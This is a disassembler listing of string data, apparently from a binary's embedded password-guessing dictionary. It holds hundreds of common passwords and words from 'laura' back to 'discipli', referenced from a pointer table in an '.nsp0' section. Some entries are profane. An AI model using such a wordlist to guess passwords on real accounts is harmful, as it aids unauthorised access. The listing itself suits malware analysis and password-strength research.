aLaura db 'laura',0 ; DATA XREF: .nsp0:0042D14Co
align 4
aLaser db 'laser',0 ; DATA XREF: .nsp0:0042D148o
align 4
aLarry db 'larry',0 ; DATA XREF: .nsp0:0042D144o
align 4
aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0042D140o
align 4
aLara db 'lara',0 ; DATA XREF: .nsp0:0042D13Co
align 4
aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0042D138o
align 4
aLana db 'lana',0 ; DATA XREF: .nsp0:0042D134o
align 4
aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0042D130o
align 10h
aLambda db 'lambda',0 ; DATA XREF: .nsp0:0042D12Co
align 4
aLakers db 'lakers',0 ; DATA XREF: .nsp0:0042D128o
align 10h
aLadle db 'ladle',0 ; DATA XREF: .nsp0:0042D124o
align 4
aLadies db 'ladies',0 ; DATA XREF: .nsp0:0042D120o
align 10h
aKristy db 'kristy',0 ; DATA XREF: .nsp0:0042D11Co
align 4
aKristine db 'kristine',0 ; DATA XREF: .nsp0:0042D118o
align 4
aKristin db 'kristin',0 ; DATA XREF: .nsp0:0042D114o
aKristie db 'kristie',0 ; DATA XREF: .nsp0:0042D110o
aKristi db 'kristi',0 ; DATA XREF: .nsp0:0042D10Co
align 4
aKristen db 'kristen',0 ; DATA XREF: .nsp0:0042D108o
aKrista db 'krista',0 ; DATA XREF: .nsp0:0042D104o
align 4
aKnown db 'known',0 ; DATA XREF: .nsp0:0042D100o
align 4
aKnightma db 'knightma',0 ; DATA XREF: .nsp0:0042D0FCo
align 10h
aKnight db 'knight',0 ; DATA XREF: .nsp0:0042D0F8o
align 4
aKnife db 'knife',0 ; DATA XREF: .nsp0:0042D0F4o
align 10h
aKlingon db 'klingon',0 ; DATA XREF: .nsp0:0042D0F0o
aKitten db 'kitten',0 ; DATA XREF: .nsp0:0042D0ECo
align 10h
aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:0042D0E8o
align 4
aKiss db 'kiss',0 ; DATA XREF: .nsp0:0042D0E4o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:0042D0E0o
align 10h
aKirk db 'kirk',0 ; DATA XREF: .nsp0:0042D0DCo
align 4
aKing db 'king',0 ; DATA XREF: .nsp0:0042D0D8o
align 10h
aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:0042D0D4o
align 4
aKilo db 'kilo',0 ; DATA XREF: .nsp0:0042D0D0o
align 4
aKillthem db 'killthem',0 ; DATA XREF: .nsp0:0042D0CCo
align 10h
aKill db 'kill',0 ; DATA XREF: .nsp0:0042D0C8o
align 4
aKids db 'kids',0 ; DATA XREF: .nsp0:0042D0C4o
align 10h
aKeyword db 'keyword',0 ; DATA XREF: .nsp0:0042D0C0o
aKeyin db 'keyin',0 ; DATA XREF: .nsp0:0042D0BCo
align 10h
aKeybord db 'keybord',0 ; DATA XREF: .nsp0:0042D0B8o
aKewl db 'kewl',0 ; DATA XREF: .nsp0:0042D0B4o
align 10h
aKevin db 'kevin',0 ; DATA XREF: .nsp0:0042D0B0o
align 4
aKerry db 'kerry',0 ; DATA XREF: .nsp0:0042D0ACo
align 10h
aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:0042D0A8o
align 4
aKerri db 'kerri',0 ; DATA XREF: .nsp0:0042D0A4o
align 10h
aKernel db 'kernel',0 ; DATA XREF: .nsp0:0042D0A0o
align 4
aKermit db 'kermit',0 ; DATA XREF: .nsp0:0042D09Co
align 10h
aKeri db 'keri',0 ; DATA XREF: .nsp0:0042D098o
align 4
aKelly db 'kelly',0 ; DATA XREF: .nsp0:0042D094o
align 10h
aKatrina db 'katrina',0 ; DATA XREF: .nsp0:0042D090o
aKatina db 'katina',0 ; DATA XREF: .nsp0:0042D08Co
align 10h
aKathy db 'kathy',0 ; DATA XREF: .nsp0:0042D088o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:0042D084o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:0042D080o
align 10h
aKate db 'kate',0 ; DATA XREF: .nsp0:0042D07Co
align 4
aKatana db 'katana',0 ; DATA XREF: .nsp0:0042D078o
align 10h
aKarina db 'karina',0 ; DATA XREF: .nsp0:0042D074o
align 4
aKarie db 'karie',0 ; DATA XREF: .nsp0:0042D070o
align 10h
aKaren db 'karen',0 ; DATA XREF: .nsp0:0042D06Co
align 4
aKaka db 'kaka',0 ; DATA XREF: .nsp0:0042D068o
align 10h
aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:0042D064o
aJune db 'june',0 ; DATA XREF: .nsp0:0042D060o
align 10h
aJuliet db 'juliet',0 ; DATA XREF: .nsp0:0042D05Co
align 4
aJulie db 'julie',0 ; DATA XREF: .nsp0:0042D058o
align 10h
aJulia db 'julia',0 ; DATA XREF: .nsp0:0042D054o
align 4
aJuicy db 'juicy',0 ; DATA XREF: .nsp0:0042D050o
align 10h
aJuggle db 'juggle',0 ; DATA XREF: .nsp0:0042D04Co
align 4
aJudy db 'judy',0 ; DATA XREF: .nsp0:0042D048o
align 10h
aJudith db 'judith',0 ; DATA XREF: .nsp0:0042D044o
align 4
aJoyce db 'joyce',0 ; DATA XREF: .nsp0:0042D040o
align 10h
aJournal db 'journal',0 ; DATA XREF: .nsp0:0042D03Co
aJoshua db 'joshua',0 ; DATA XREF: .nsp0:0042D038o
align 10h
aJoseph db 'joseph',0 ; DATA XREF: .nsp0:0042D034o
align 4
aJohnny db 'johnny',0 ; DATA XREF: .nsp0:0042D030o
align 10h
aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:0042D02Co
aJohn db 'john',0 ; DATA XREF: .nsp0:0042D028o
align 10h
aJody db 'jody',0 ; DATA XREF: .nsp0:0042D024o
align 4
aJoanne db 'joanne',0 ; DATA XREF: .nsp0:0042D020o
align 10h
aJixian db 'jixian',0 ; DATA XREF: .nsp0:0042D01Co
align 4
aJill db 'jill',0 ; DATA XREF: .nsp0:0042D018o
align 10h
aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:0042D014o
aJester db 'jester',0 ; DATA XREF: .nsp0:0042D010o
align 10h
aJessica db 'jessica',0 ; DATA XREF: .nsp0:0042D00Co
aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:0042D008o
align 4
aJerry db 'jerry',0 ; DATA XREF: .nsp0:0042D004o
align 4
aJenny db 'jenny',0 ; DATA XREF: .nsp0:0042D000o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:0042CFFCo
align 10h
aJenni db 'jenni',0 ; DATA XREF: .nsp0:0042CFF8o
align 4
aJeff db 'jeff',0 ; DATA XREF: .nsp0:0042CFF4o
align 10h
aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:0042CFF0o
align 4
aJean db 'jean',0 ; DATA XREF: .nsp0:0042CFECo
align 10h
aJazz db 'jazz',0 ; DATA XREF: .nsp0:0042CFE8o
align 4
aJava db 'java',0 ; DATA XREF: .nsp0:0042CFE4o
align 10h
aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:0042CFE0o
align 4
aJapan db 'japan',0 ; DATA XREF: .nsp0:0042CFDCo
align 10h
aJanie db 'janie',0 ; DATA XREF: .nsp0:0042CFD8o
align 4
aJanice db 'janice',0 ; DATA XREF: .nsp0:0042CFD4o
align 10h
aJanet db 'janet',0 ; DATA XREF: .nsp0:0042CFD0o
align 4
aJane db 'jane',0 ; DATA XREF: .nsp0:0042CFCCo
align 10h
aJail db 'jail',0 ; DATA XREF: .nsp0:0042CFC8o
align 4
aJackie db 'jackie',0 ; DATA XREF: .nsp0:0042CFC4o
align 10h
aIsis db 'isis',0 ; DATA XREF: .nsp0:0042CFC0o
align 4
aIrishman db 'irishman',0 ; DATA XREF: .nsp0:0042CFBCo
align 4
aIrene db 'irene',0 ; DATA XREF: .nsp0:0042CFB8o
align 4
aInvent db 'invent',0 ; DATA XREF: .nsp0:0042CFB4o
align 4
aInteger db 'integer',0 ; DATA XREF: .nsp0:0042CFB0o
aInside db 'inside',0 ; DATA XREF: .nsp0:0042CFACo
align 4
aInput db 'input',0 ; DATA XREF: .nsp0:0042CFA8o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0042CFA4o
align 4
aInna db 'inna',0 ; DATA XREF: .nsp0:0042CFA0o
align 10h
aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:0042CF9Co
align 4
aIngress db 'ingress',0 ; DATA XREF: .nsp0:0042CF98o
aIngres db 'ingres',0 ; DATA XREF: .nsp0:0042CF94o
align 4
aIndians db 'indians',0 ; DATA XREF: .nsp0:0042CF90o
aIndiana db 'indiana',0 ; DATA XREF: .nsp0:0042CF8Co
aIndian db 'indian',0 ; DATA XREF: .nsp0:0042CF88o
align 10h
aIndia db 'india',0 ; DATA XREF: .nsp0:0042CF84o
align 4
aInclude db 'include',0 ; DATA XREF: .nsp0:0042CF80o
aImperial db 'imperial',0 ; DATA XREF: .nsp0:0042CF7Co
align 4
aImmortal db 'immortal',0 ; DATA XREF: .nsp0:0042CF78o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0042CF74o
align 4
aImage db 'image',0 ; DATA XREF: .nsp0:0042CF70o
align 4
aIllumina db 'illumina',0 ; DATA XREF: .nsp0:0042CF6Co
align 4
aIcecream db 'icecream',0 ; DATA XREF: .nsp0:0042CF68o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0042CF64o
align 10h
aHyper db 'hyper',0 ; DATA XREF: .nsp0:0042CF60o
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:0042CF5Co
align 4
aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:0042CF58o
align 10h
aHunter db 'hunter',0 ; DATA XREF: .nsp0:0042CF54o
align 4
aHunt db 'hunt',0 ; DATA XREF: .nsp0:0042CF50o
align 10h
aHttp_0 db 'http',0 ; DATA XREF: .nsp0:0042CF4Co
align 4
aHotel db 'hotel',0 ; DATA XREF: .nsp0:0042CF48o
align 10h
aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0042CF44o
align 4
aHost db 'host',0 ; DATA XREF: .nsp0:0042CF40o
align 10h
aHorus db 'horus',0 ; DATA XREF: .nsp0:0042CF3Co
align 4
aHorse db 'horse',0 ; DATA XREF: .nsp0:0042CF38o
align 10h
aHorror db 'horror',0 ; DATA XREF: .nsp0:0042CF34o
align 4
aHorrible db 'horrible',0 ; DATA XREF: .nsp0:0042CF30o
align 4
aHorny db 'horny',0 ; DATA XREF: .nsp0:0042CF2Co
align 4
aHooters db 'hooters',0 ; DATA XREF: .nsp0:0042CF28o
aHooker db 'hooker',0 ; DATA XREF: .nsp0:0042CF24o
align 4
aHoney db 'honey',0 ; DATA XREF: .nsp0:0042CF20o
align 4
aHomework db 'homework',0 ; DATA XREF: .nsp0:0042CF1Co
align 10h
aHomer db 'homer',0 ; DATA XREF: .nsp0:0042CF18o
align 4
aHomepage db 'homepage',0 ; DATA XREF: .nsp0:0042CF14o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:0042CF10o
align 10h
aHolly db 'holly',0 ; DATA XREF: .nsp0:0042CF0Co
align 4
aHole db 'hole',0 ; DATA XREF: .nsp0:0042CF08o
align 10h
aHits db 'hits',0 ; DATA XREF: .nsp0:0042CF04o
align 4
aHitler db 'hitler',0 ; DATA XREF: .nsp0:0042CF00o
align 10h
aHighland db 'highland',0 ; DATA XREF: .nsp0:0042CEFCo
align 4
aHigh db 'high',0 ; DATA XREF: .nsp0:0042CEF8o
align 4
aHidden db 'hidden',0 ; DATA XREF: .nsp0:0042CEF4o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:0042CEF0o
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:0042CEECo
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:0042CEE8o
align 10h
aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:0042CEE4o
aHeroin db 'heroin',0 ; DATA XREF: .nsp0:0042CEE0o
align 10h
aHero db 'hero',0 ; DATA XREF: .nsp0:0042CEDCo
align 4
aHerbert db 'herbert',0 ; DATA XREF: .nsp0:0042CED8o
aHerb db 'herb',0 ; DATA XREF: .nsp0:0042CED4o
align 4
aHelp db 'help',0 ; DATA XREF: .nsp0:0042CED0o
align 10h
aHello db 'hello',0 ; DATA XREF: .nsp0:0042CECCo
align 4
aHell db 'hell',0 ; DATA XREF: .nsp0:0042CEC8o
align 10h
aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0042CEC4o
align 4
aHeidi db 'heidi',0 ; DATA XREF: .nsp0:0042CEC0o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:0042CEBCo
align 10h
aHeather db 'heather',0 ; DATA XREF: .nsp0:0042CEB8o
aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0042CEB4o
aHeat db 'heat',0 ; DATA XREF: .nsp0:0042CEB0o
align 4
aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:0042CEACo
align 4
aHead db 'head',0 ; DATA XREF: .nsp0:0042CEA8o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0042CEA4o
align 4
aHaven db 'haven',0 ; DATA XREF: .nsp0:0042CEA0o
align 4
aHate db 'hate',0 ; DATA XREF: .nsp0:0042CE9Co
align 4
aHarvey db 'harvey',0 ; DATA XREF: .nsp0:0042CE98o
align 4
aHarold db 'harold',0 ; DATA XREF: .nsp0:0042CE94o
align 4
aHarmony db 'harmony',0 ; DATA XREF: .nsp0:0042CE90o
aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:0042CE8Co
align 4
aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:0042CE88o
align 4
aHard db 'hard',0 ; DATA XREF: .nsp0:0042CE84o
align 4
aHappenin db 'happenin',0 ; DATA XREF: .nsp0:0042CE80o
align 4
aHandjob db 'handjob',0 ; DATA XREF: .nsp0:0042CE7Co
aHandily db 'handily',0 ; DATA XREF: .nsp0:0042CE78o
aHandel db 'handel',0 ; DATA XREF: .nsp0:0042CE74o
align 10h
aHamster db 'hamster',0 ; DATA XREF: .nsp0:0042CE70o
aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:0042CE6Co
align 10h
aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:0042CE68o
align 4
aHair db 'hair',0 ; DATA XREF: .nsp0:0042CE64o
align 4
aHagar db 'hagar',0 ; DATA XREF: .nsp0:0042CE60o
align 4
aHacked db 'hacked',0 ; DATA XREF: .nsp0:0042CE5Co
align 4
aHack db 'hack',0 ; DATA XREF: .nsp0:0042CE58o
align 4
aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042CE54o
align 4
aGumption db 'gumption',0 ; DATA XREF: .nsp0:0042CE50o
align 10h
aGuitar db 'guitar',0 ; DATA XREF: .nsp0:0042CE4Co
align 4
aGuess db 'guess',0 ; DATA XREF: .nsp0:0042CE48o
align 10h
aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042CE44o
align 4
aGuardian db 'guardian',0 ; DATA XREF: .nsp0:0042CE40o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:0042CE3Co
aGroup db 'group',0 ; DATA XREF: .nsp0:0042CE38o
align 4
aGreen db 'green',0 ; DATA XREF: .nsp0:0042CE34o
align 4
aGreat db 'great',0 ; DATA XREF: .nsp0:0042CE30o
align 4
aGrant db 'grant',0 ; DATA XREF: .nsp0:0042CE2Co
align 4
aGrand db 'grand',0 ; DATA XREF: .nsp0:0042CE28o
align 4
aGrahm db 'grahm',0 ; DATA XREF: .nsp0:0042CE24o
align 4
aGraham db 'graham',0 ; DATA XREF: .nsp0:0042CE20o
align 4
aGrades db 'grades',0 ; DATA XREF: .nsp0:0042CE1Co
align 4
aGovermen db 'govermen',0 ; DATA XREF: .nsp0:0042CE18o
align 4
aGouge db 'gouge',0 ; DATA XREF: .nsp0:0042CE14o
align 10h
aGosling db 'gosling',0 ; DATA XREF: .nsp0:0042CE10o
aGorges db 'gorges',0 ; DATA XREF: .nsp0:0042CE0Co
align 10h
aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:0042CE08o
align 4
aGood db 'good',0 ; DATA XREF: .nsp0:0042CE04o
align 4
aGolfer db 'golfer',0 ; DATA XREF: .nsp0:0042CE00o
align 4
aGolf db 'golf',0 ; DATA XREF: .nsp0:0042CDFCo
align 4
aGolden db 'golden',0 ; DATA XREF: .nsp0:0042CDF8o
align 4
aGold db 'gold',0 ; DATA XREF: .nsp0:0042CDF4o
align 4
aGlacier db 'glacier',0 ; DATA XREF: .nsp0:0042CDF0o
aGirl db 'girl',0 ; DATA XREF: .nsp0:0042CDECo
align 4
aGinger db 'ginger',0 ; DATA XREF: .nsp0:0042CDE8o
align 4
aGina db 'gina',0 ; DATA XREF: .nsp0:0042CDE4o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:0042CDE0o
align 10h
aGibson db 'gibson',0 ; DATA XREF: .nsp0:0042CDDCo
align 4
aGhost db 'ghost',0 ; DATA XREF: .nsp0:0042CDD8o
align 10h
aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:0042CDD4o
align 4
aGerm db 'germ',0 ; DATA XREF: .nsp0:0042CDD0o
align 4
aGeorge db 'george',0 ; DATA XREF: .nsp0:0042CDCCo
align 4
aGauss db 'gauss',0 ; DATA XREF: .nsp0:0042CDC8o
align 4
aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042CDC4o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:0042CDC0o
align 4
aGateway db 'gateway',0 ; DATA XREF: .nsp0:0042CDBCo
aGarfield db 'garfield',0 ; DATA XREF: .nsp0:0042CDB8o
align 4
aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042CDB4o
aGames db 'games',0 ; DATA XREF: .nsp0:0042CDB0o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:0042CDACo
aFungible db 'fungible',0 ; DATA XREF: .nsp0:0042CDA8o
align 10h
aFunction db 'function',0 ; DATA XREF: .nsp0:0042CDA4o
align 4
aFudge db 'fudge',0 ; DATA XREF: .nsp0:0042CDA0o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:0042CD9Co
aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:0042CD98o
align 4
aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042CD94o
aFucker db 'fucker',0 ; DATA XREF: .nsp0:0042CD90o
align 4
aFuck db 'fuck',0 ; DATA XREF: .nsp0:0042CD8Co
align 4
aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:0042CD88o
align 4
aFrog db 'frog',0 ; DATA XREF: .nsp0:0042CD84o
align 4
aFrighten db 'frighten',0 ; DATA XREF: .nsp0:0042CD80o
align 4
aFriends db 'friends',0 ; DATA XREF: .nsp0:0042CD7Co
aFriend db 'friend',0 ; DATA XREF: .nsp0:0042CD78o
align 4
aFriday db 'friday',0 ; DATA XREF: .nsp0:0042CD74o
align 10h
aFrench db 'french',0 ; DATA XREF: .nsp0:0042CD70o
align 4
aFreedom db 'freedom',0 ; DATA XREF: .nsp0:0042CD6Co
aFree db 'free',0 ; DATA XREF: .nsp0:0042CD68o
align 4
aFred db 'fred',0 ; DATA XREF: .nsp0:0042CD64o
align 10h
aFreak db 'freak',0 ; DATA XREF: .nsp0:0042CD60o
align 4
aFrank db 'frank',0 ; DATA XREF: .nsp0:0042CD5Co
align 10h
aFrance db 'france',0 ; DATA XREF: .nsp0:0042CD58o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042CD54o
aFourier db 'fourier',0 ; DATA XREF: .nsp0:0042CD50o
aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:0042CD4Co
align 4
aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:0042CD48o
align 10h
aFormat db 'format',0 ; DATA XREF: .nsp0:0042CD44o
align 4
aForm db 'form',0 ; DATA XREF: .nsp0:0042CD40o
align 10h
aForever db 'forever',0 ; DATA XREF: .nsp0:0042CD3Co
aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:0042CD38o
align 4
aFord db 'ford',0 ; DATA XREF: .nsp0:0042CD34o
align 4
aForce db 'force',0 ; DATA XREF: .nsp0:0042CD30o
align 4
aFootball db 'football',0 ; DATA XREF: .nsp0:0042CD2Co
align 10h
aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:0042CD28o
align 4
aFool db 'fool',0 ; DATA XREF: .nsp0:0042CD24o
align 4
aFood db 'food',0 ; DATA XREF: .nsp0:0042CD20o
align 4
aFlowers db 'flowers',0 ; DATA XREF: .nsp0:0042CD1Co
aFlower db 'flower',0 ; DATA XREF: .nsp0:0042CD18o
align 4
aFlorida db 'florida',0 ; DATA XREF: .nsp0:0042CD14o
aFloat db 'float',0 ; DATA XREF: .nsp0:0042CD10o
align 4
aFlakes db 'flakes',0 ; DATA XREF: .nsp0:0042CD0Co
align 4
aFishers db 'fishers',0 ; DATA XREF: .nsp0:0042CD08o
aFirewall db 'firewall',0 ; DATA XREF: .nsp0:0042CD04o
align 4
aFire db 'fire',0 ; DATA XREF: .nsp0:0042CD00o
align 10h
aFinite db 'finite',0 ; DATA XREF: .nsp0:0042CCFCo
align 4
aFile db 'file',0 ; DATA XREF: sub_40CE55+1D0Fo
; sub_40CE55+1D85o ...
align 10h
aFight db 'fight',0 ; DATA XREF: .nsp0:0042CCF4o
align 4
aField db 'field',0 ; DATA XREF: .nsp0:0042CCF0o
align 10h
aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:0042CCECo
align 4
aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:0042CCE8o
aFermat db 'fermat',0 ; DATA XREF: .nsp0:0042CCE4o
align 4
aFender db 'fender',0 ; DATA XREF: .nsp0:0042CCE0o
align 4
aFelicia db 'felicia',0 ; DATA XREF: .nsp0:0042CCDCo
aFeds db 'feds',0 ; DATA XREF: .nsp0:0042CCD8o
align 4
aFear db 'fear',0 ; DATA XREF: .nsp0:0042CCD4o
align 4
aFast db 'fast',0 ; DATA XREF: .nsp0:0042CCD0o
align 4
aFart db 'fart',0 ; DATA XREF: .nsp0:0042CCCCo
align 4
aFaraday db 'faraday',0 ; DATA XREF: .nsp0:0042CCC8o
aFarad db 'farad',0 ; DATA XREF: .nsp0:0042CCC4o
align 4
aFamily db 'family',0 ; DATA XREF: .nsp0:0042CCC0o
align 4
aFalse db 'false',0 ; DATA XREF: .nsp0:0042CCBCo
align 4
aFalcon db 'falcon',0 ; DATA XREF: .nsp0:0042CCB8o
align 4
aFaith db 'faith',0 ; DATA XREF: .nsp0:0042CCB4o
align 4
aFairway db 'fairway',0 ; DATA XREF: .nsp0:0042CCB0o
aExtensio db 'extensio',0 ; DATA XREF: .nsp0:0042CCACo
align 10h
aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:0042CCA8o
align 4
aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042CCA4o
align 4
aExplore db 'explore',0 ; DATA XREF: .nsp0:0042CCA0o
aExplode db 'explode',0 ; DATA XREF: .nsp0:0042CC9Co
aExpert db 'expert',0 ; DATA XREF: .nsp0:0042CC98o
align 10h
aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042CC94o
align 4
aEuclid db 'euclid',0 ; DATA XREF: .nsp0:0042CC90o
align 10h
aEternity db 'eternity',0 ; DATA XREF: .nsp0:0042CC8Co
align 4
aEstate db 'estate',0 ; DATA XREF: .nsp0:0042CC88o
align 4
aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042CC84o
align 10h
aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:0042CC80o
align 4
aErotic db 'erotic',0 ; DATA XREF: .nsp0:0042CC7Co
align 10h
aErin db 'erin',0 ; DATA XREF: .nsp0:0042CC78o
align 4
aErika db 'erika',0 ; DATA XREF: .nsp0:0042CC74o
align 10h
aErica db 'erica',0 ; DATA XREF: .nsp0:0042CC70o
align 4
aEric db 'eric',0 ; DATA XREF: .nsp0:0042CC6Co
align 10h
aErenity db 'erenity',0 ; DATA XREF: .nsp0:0042CC68o
aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042CC64o
align 10h
aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:0042CC60o
align 4
aEnter db 'enter',0 ; DATA XREF: .nsp0:0042CC5Co
align 4
aEnglish db 'english',0 ; DATA XREF: .nsp0:0042CC58o
aEngland db 'england',0 ; DATA XREF: .nsp0:0042CC54o
aEngineer db 'engineer',0 ; DATA XREF: .nsp0:0042CC50o
align 10h
aEngine db 'engine',0 ; DATA XREF: .nsp0:0042CC4Co
align 4
aEnemy db 'enemy',0 ; DATA XREF: .nsp0:0042CC48o
align 10h
aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042CC44o
align 4
aEmily db 'emily',0 ; DATA XREF: .nsp0:0042CC40o
align 4
aEmerald db 'emerald',0 ; DATA XREF: .nsp0:0042CC3Co
aEmail db 'email',0 ; DATA XREF: .nsp0:0042CC38o
align 4
aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042CC34o
align 4
aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:0042CC30o
align 4
aElephant db 'elephant',0 ; DATA XREF: .nsp0:0042CC2Co
align 4
aElectron db 'electron',0 ; DATA XREF: .nsp0:0042CC28o
align 10h
aElanor db 'elanor',0 ; DATA XREF: .nsp0:0042CC24o
align 4
aElaine db 'elaine',0 ; DATA XREF: .nsp0:0042CC20o
align 10h
aEinstein db 'einstein',0 ; DATA XREF: .nsp0:0042CC1Co
align 4
aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:0042CC18o
align 4
aEileen db 'eileen',0 ; DATA XREF: .nsp0:0042CC14o
align 10h
aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:0042CC10o
align 4
aEgghead db 'egghead',0 ; DATA XREF: .nsp0:0042CC0Co
aEdwina db 'edwina',0 ; DATA XREF: .nsp0:0042CC08o
align 4
aEdwin db 'edwin',0 ; DATA XREF: .nsp0:0042CC04o
align 4
aEducatio db 'educatio',0 ; DATA XREF: .nsp0:0042CC00o
align 10h
aEducation db 'education',0 ; DATA XREF: .nsp0:0042CBFCo
align 4
aEdition db 'edition',0 ; DATA XREF: .nsp0:0042CBF8o
aEdit db 'edit',0 ; DATA XREF: .nsp0:0042CBF4o
align 4
aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:0042CBF0o
align 4
aEdges db 'edges',0 ; DATA XREF: .nsp0:0042CBECo
align 10h
aEddie db 'eddie',0 ; DATA XREF: .nsp0:0042CBE8o
align 4
aEcho db 'echo',0 ; DATA XREF: .nsp0:0042CBE4o
align 10h
aEatme db 'eatme',0 ; DATA XREF: .nsp0:0042CBE0o
align 4
aEasy db 'easy',0 ; DATA XREF: .nsp0:0042CBDCo
align 10h
aEasier db 'easier',0 ; DATA XREF: .nsp0:0042CBD8o
align 4
aEarth db 'earth',0 ; DATA XREF: .nsp0:0042CBD4o
align 10h
aEagle db 'eagle',0 ; DATA XREF: .nsp0:0042CBD0o
align 4
aEager db 'eager',0 ; DATA XREF: .nsp0:0042CBCCo
align 10h
aDyke db 'dyke',0 ; DATA XREF: .nsp0:0042CBC8o
align 4
aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042CBC4o
aDuncan db 'duncan',0 ; DATA XREF: .nsp0:0042CBC0o
align 4
aDulce db 'dulce',0 ; DATA XREF: .nsp0:0042CBBCo
align 10h
aDuke db 'duke',0 ; DATA XREF: .nsp0:0042CBB8o
align 4
aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042CBB4o
aDude db 'dude',0 ; DATA XREF: .nsp0:0042CBB0o
align 4
aDuck db 'duck',0 ; DATA XREF: .nsp0:0042CBACo
align 10h
aDrought db 'drought',0 ; DATA XREF: .nsp0:0042CBA8o
aDrive db 'drive',0 ; DATA XREF: .nsp0:0042CBA4o
align 10h
aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:0042CBA0o
align 4
aDragon db 'dragon',0 ; DATA XREF: .nsp0:0042CB9Co
align 10h
aDownload db 'download',0 ; DATA XREF: .nsp0:0042CB98o
align 4
aDope db 'dope',0 ; DATA XREF: .nsp0:0042CB94o
align 4
aDoors db 'doors',0 ; DATA XREF: .nsp0:0042CB90o
align 4
aDoor db 'door',0 ; DATA XREF: .nsp0:0042CB8Co
align 4
aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:0042CB88o
align 10h
aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042CB84o
align 4
aDoomii db 'doomii',0 ; DATA XREF: .nsp0:0042CB80o
align 4
aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:0042CB7Co
align 4
aDoom db 'doom',0 ; DATA XREF: .nsp0:0042CB78o
align 4
aDong db 'dong',0 ; DATA XREF: .nsp0:0042CB74o
align 4
aDollar db 'dollar',0 ; DATA XREF: .nsp0:0042CB70o
align 4
aDoctor db 'doctor',0 ; DATA XREF: .nsp0:0042CB6Co
align 4
aDisplay db 'display',0 ; DATA XREF: .nsp0:0042CB68o
aDisney db 'disney',0 ; DATA XREF: .nsp0:0042CB64o
align 4
aDiskette db 'diskette',0 ; DATA XREF: .nsp0:0042CB60o
align 4
aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:0042CB5Co
align 10h
aDiscover db 'discover',0 ; DATA XREF: .nsp0:0042CB58o
align 4
aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042CB54o
align 4
aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:0042CB50o
align 4
